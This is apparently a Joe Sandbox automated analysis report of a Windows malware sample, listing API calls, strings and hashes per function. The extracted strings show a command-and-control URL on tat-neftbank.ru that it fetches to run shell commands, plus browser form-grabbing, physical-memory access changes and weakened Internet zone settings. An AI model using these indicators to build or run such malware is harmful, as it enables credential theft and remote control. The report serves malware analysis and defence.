lstrlenA.KERNEL32(0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B66
LocalAlloc.KERNEL32(00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B78
lstrlenA.KERNEL32(?,?,?,00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406BA2
CreateThread.KERNEL32(00000000,00000000,Function_0000686C,?,00000000,0000000C), ref: 00406BD6
CloseHandle.KERNEL32(00000000,00000000,00000000,Function_0000686C,?,00000000,0000000C,?,0000002F,?,?,?,00000040,?,0000002F,?), ref: 00406BDC
LocalFree.KERNEL32(?,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406C07
_sleep.CRTDLL(001B7740), ref: 00406C17

Strings

http://tat-neftbank.ru/wcmd.htm, xrefs: 004068CC, 00406ACC
%s\command.pif, xrefs: 00406A02
%s\cmd.exe, xrefs: 004069C5
wupd , xrefs: 00406A68
%s /C %s, xrefs: 00406A44
:, xrefs: 00406934
%s/Rtdx1%i.htm, xrefs: 00406B39
:, xrefs: 00406927
%s\Rtdx1%i.dat, xrefs: 00406AB8
%s\cmd.pif, xrefs: 004069A9
:%02u, xrefs: 0040694F
/, xrefs: 00406AF7
\command.com, xrefs: 00406A13

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: lstrlen$sprintf$LocalThread$AllocCloseCreateDeleteHandle$CacheCodeDirectoryEntryExecExitFileFreeObjectSingleWaitWindows_sleepatoirandsscanfstrcat
String ID: %s /C %s$%s/Rtdx1%i.htm$%s\Rtdx1%i.dat$%s\cmd.exe$%s\cmd.pif$%s\command.pif$/$:$:$:%02u$\command.com$http://tat-neftbank.ru/wcmd.htm$wupd
API String ID: 4275340860-3363018154
Opcode ID: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction ID: 18f08bfc30c9890c11dd244c38850a50baba5aa484248b9ca7ce56826a71177a
Opcode Fuzzy Hash: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction Fuzzy Hash: 328163B1E08228ABDB21A6658D46BD977BCDB04304F5105F7E60CB21C1E67C7F948F99

Function 004052E0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 115sleepstringprocessCOMMON

Download Yara Rule

APIs

strcat.CRTDLL(?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052F8
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?), ref: 0040530B

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?), ref: 0040532C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040539F
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053B2
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053D4
Sleep.KERNEL32(00007800,00000000,00000000,00000044,?), ref: 00405426
Sleep.KERNEL32(0000F000,00007800,00000000,00000000,00000044,?), ref: 00405439
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405451
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405499
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054A5
TerminateProcess.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054B2
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054BD

Strings

D, xrefs: 00405334
X-okRecv11, xrefs: 00405458
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
\Iexplore.exe , xrefs: 004052EC
MicroSoft-Corp, xrefs: 004053C3

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessSleepThreadstrcat$CreateCurrentDeleteDesktopFileFreeLocalTerminateTextWindowmemsetsprintf
String ID: %s%u - Microsoft Internet Explorer$D$MicroSoft-Corp$X-okRecv11$\Iexplore.exe
API String ID: 1202517094-2261298365
Opcode ID: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction ID: a5954b523feb805065d44168e487e19d6cbd8b1c6e851fe6a795fce517e83f05
Opcode Fuzzy Hash: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction Fuzzy Hash: 4F416572E442186ADB20AA65CC46BDDB3B99F50305F1444F7E208F61D1DABCAEC48F59

Function 00401B9F Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(value), ref: 00401BCC

Part of subcall function 004017AC: CoInitialize.OLE32(00000000), ref: 004017CC
Part of subcall function 004017AC: CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
Part of subcall function 004017AC: CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

_sleep.CRTDLL(00000000), ref: 00401BFD
GetForegroundWindow.USER32(00000000), ref: 00401C02

Part of subcall function 0040185F: GetWindowTextA.USER32(?,?,?), ref: 004018E2

memcpy.CRTDLL(00418F40,?,?), ref: 00401D6D
memcpy.CRTDLL(?,00418F40,?), ref: 00401F34
_sleep.CRTDLL(00000000), ref: 00401F4A
sprintf.CRTDLL(?,%s FORM_%X,?,?,00000000), ref: 00401F77

Strings

%s %X%c, xrefs: 0040218F
%s FORM_%X, xrefs: 00401F6B
value, xrefs: 00401BC7
%s%c, xrefs: 004021EB

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: StringWindow_sleepmemcpy$AllocCreateForegroundFromInitializeInstanceTextsprintf
String ID: %s %X%c$%s FORM_%X$%s%c$value
API String ID: 3510745994-3693252589
Opcode ID: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction ID: 207a0c2c24704257dc82047f11ad41d7b25eba1db427a6dda8aff0efe7f4a5ef
Opcode Fuzzy Hash: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction Fuzzy Hash: 2112DC71A002199FDB62DB68CD44BDAB7F9BB0C304F5040FAA588E7290D7B4AAC58F55

Function 00402822 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

Strings

NtOpenSection, xrefs: 00402867
NtMapViewOfSection, xrefs: 00402877
ntdll.dll, xrefs: 00402835
RtlNtStatusToDosError, xrefs: 00402887
RtlInitUnicodeString, xrefs: 00402841
NtUnmapViewOfSection, xrefs: 00402851

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 667068680-1987783197
Opcode ID: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction ID: 9d3c92be313ac2760b75685e9acc68d9338f811418752029c31410863af0f615
Opcode Fuzzy Hash: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction Fuzzy Hash: BCF03A21B642206B93126B327D4293E36689792B19395003FF840F6191DB7C09225F9F

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 004037AA Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

printf.CRTDLL([length=%i] [summ=%i],?,00000000), ref: 004037DD
printf.CRTDLL(HEX: ,[length=%i] [summ=%i],?,00000000), ref: 004037EE
printf.CRTDLL(%02X ,00000000), ref: 00403804
printf.CRTDLL(TXT: '%s',?), ref: 0040382C

Strings

TXT: '%s', xrefs: 00403827
HEX: , xrefs: 004037E9
[length=%i] [summ=%i], xrefs: 004037D8
X4, xrefs: 004037E2
%02X , xrefs: 004037FF

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: printf
String ID: TXT: '%s'$%02X $HEX: $X4$[length=%i] [summ=%i]
API String ID: 3524737521-4004101572
Opcode ID: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction ID: a8ef6db4a05ad48ab0456940bf437e850f92713de92630681f76b68ebadef0f7
Opcode Fuzzy Hash: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction Fuzzy Hash: 88016B62A04254BED7006FA7CC82A6F7FDCAB4175AF2080BEF545730C0D1B86F41D6A6

Function 004054D7 Relevance: 15.1, APIs: 10, Instructions: 109stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004054F1
lstrlenA.KERNEL32(?,?), ref: 00405505
lstrlenA.KERNEL32(?,?,?), ref: 00405513
lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006), ref: 004055FE

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCloseCodeCreateExitHandleLocalObjectSingleWaitmemcpy
String ID:
API String ID: 2845097592-0
Opcode ID: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction ID: 017c82820a2f145177c9e28e2e3f5c0bebc6ad2cdfe5315ab2aa4ad5daf85086
Opcode Fuzzy Hash: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction Fuzzy Hash: 5E31D721A04159BACF01DFA6CC01AAEB7F9AF44318F144476F904E7291E63CDB15C7A9

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 0040289A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?), ref: 00402976
SetEntriesInAclA.ADVAPI32(00000001,00000002,?,?), ref: 00402988
SetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029A3
CloseHandle.KERNEL32(?,?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029B1

Strings

\device\physicalmemory, xrefs: 004028B7
CURRENT_USER, xrefs: 00402914
@, xrefs: 004028DD

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: InfoSecurity$CloseEntriesHandle
String ID: @$CURRENT_USER$\device\physicalmemory
API String ID: 405656561-3357994103
Opcode ID: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction ID: 89d45d45e0a184fa7970b295066ffccd564a705ae1855cc5323f3f658fcd5c06
Opcode Fuzzy Hash: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction Fuzzy Hash: 2A41EB71E4030DAFEB108FD4DC85BEEB7B9FB04319F50403AEA00BA191D7B9595A8B59

Function 0040509B Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 43COMMON

Download Yara Rule

APIs

sprintf.CRTDLL(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u,00000000), ref: 004050CD

Strings

yes, xrefs: 0040510E
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u, xrefs: 004050C1
1601, xrefs: 004050D4
Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004050FF
GlobalUserOffline, xrefs: 004050FA
BrowseNewProcess, xrefs: 00405113
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess, xrefs: 00405118

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: sprintf
String ID: .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess$1601$BrowseNewProcess$GlobalUserOffline$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u$Software\Microsoft\Windows\CurrentVersion\Internet Settings$yes
API String ID: 590974362-546450379
Opcode ID: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction ID: cd0aaffbc0bd71aa605591c0976343fec0ffbebd6d6d4fedce8ce2f9217411d7
Opcode Fuzzy Hash: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction Fuzzy Hash: 24F07DF2F883587EE710A1699C47F8D765907A1704FA400A7BA44B10C2D0FE56C6826D

Function 004077E4 Relevance: 10.6, APIs: 7, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32 ref: 00407826
SetFocus.USER32 ref: 00407839
SetFocus.USER32 ref: 00407852
SetFocus.USER32 ref: 00407865
SetFocus.USER32 ref: 00407878
SetFocus.USER32 ref: 0040788B
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 00407909

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: Focus$CallProcWindow
String ID:
API String ID: 2401821148-0
Opcode ID: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction ID: 67d25c2989ca0d32993d4aa71a0b11dc39683739a3ff9c0c7d6bcfde353c753a
Opcode Fuzzy Hash: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction Fuzzy Hash: 6F318233E082149BDF21FB29ED848DA7726A751324715C43AE550B32B1DB787C91CB6E

Function 004036B3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403715
WriteFile.KERNEL32(00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000), ref: 00403728
CloseHandle.KERNEL32(00000000,00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?), ref: 00403734

Strings

Y&-v, xrefs: 004036BA

Memory Dump Source

Source File: 00000006.00000002.1984909716.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.1984877041.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984946818.000000000042A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1984987976.000000000042E000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985021547.000000000042F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985056539.0000000000436000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1985094721.0000000000438000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Oeanchcn.jbxd

Yara matches

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID: Y&-v
API String ID: 2529654636-852306816
Opcode ID: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction ID: 393fb1fac6dfb6d7043d4134058e676a256c67ba5a84656a07003a75d011006f
